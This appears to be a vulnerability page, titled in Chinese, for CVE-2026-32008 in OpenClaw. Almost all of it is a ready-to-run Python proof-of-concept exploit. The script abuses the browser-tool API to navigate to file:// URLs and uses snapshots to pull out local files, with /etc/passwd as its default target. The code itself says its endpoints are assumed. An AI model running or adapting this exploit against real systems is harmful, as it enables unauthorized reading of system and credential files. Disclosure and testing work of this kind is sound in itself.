CVE-2026-32008 OpenClaw 任意本地文件读取漏洞

# PoC for CVE-2026-32008: OpenClaw Arbitrary Local File Read # This script demonstrates exploiting the improper URL scheme validation # to read local files via the browser-tool interface. import requests TARGET_URL = "http://target-openclaw-instance" API_KEY = "YOUR_AUTHENTICATED_API_KEY" # Requires PR:L (Low Privilege) access def exploit_local_file_read(file_path): # Step 1: Construct the malicious file:// URL # The vulnerability allows navigating to local files malicious_url = f"file://{file_path}" # Step 2: Use the browser-tool API to navigate to the local file # Endpoint assumes a generic structure based on the vulnerability description navigate_endpoint = f"{TARGET_URL}/api/browser/navigate" headers = {"Authorization": f"Bearer {API_KEY}"} payload = {"url": malicious_url} # Send navigation request # The assertBrowserNavigationAllowed() function fails to block 'file://' response = requests.post(navigate_endpoint, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully navigated to {malicious_url}") # Step 3: Take a snapshot to extract the file content snapshot_endpoint = f"{TARGET_URL}/api/browser/snapshot" snap_response = requests.get(snapshot_endpoint, headers=headers) if snap_response.status_code == 200: print("[+] Snapshot taken. File content extracted:") print(snap_response.text) else: print("[-] Failed to take snapshot.") else: print("[-] Navigation failed.") if __name__ == "__main__": # Example: Read /etc/passwd exploit_local_file_read("/etc/passwd")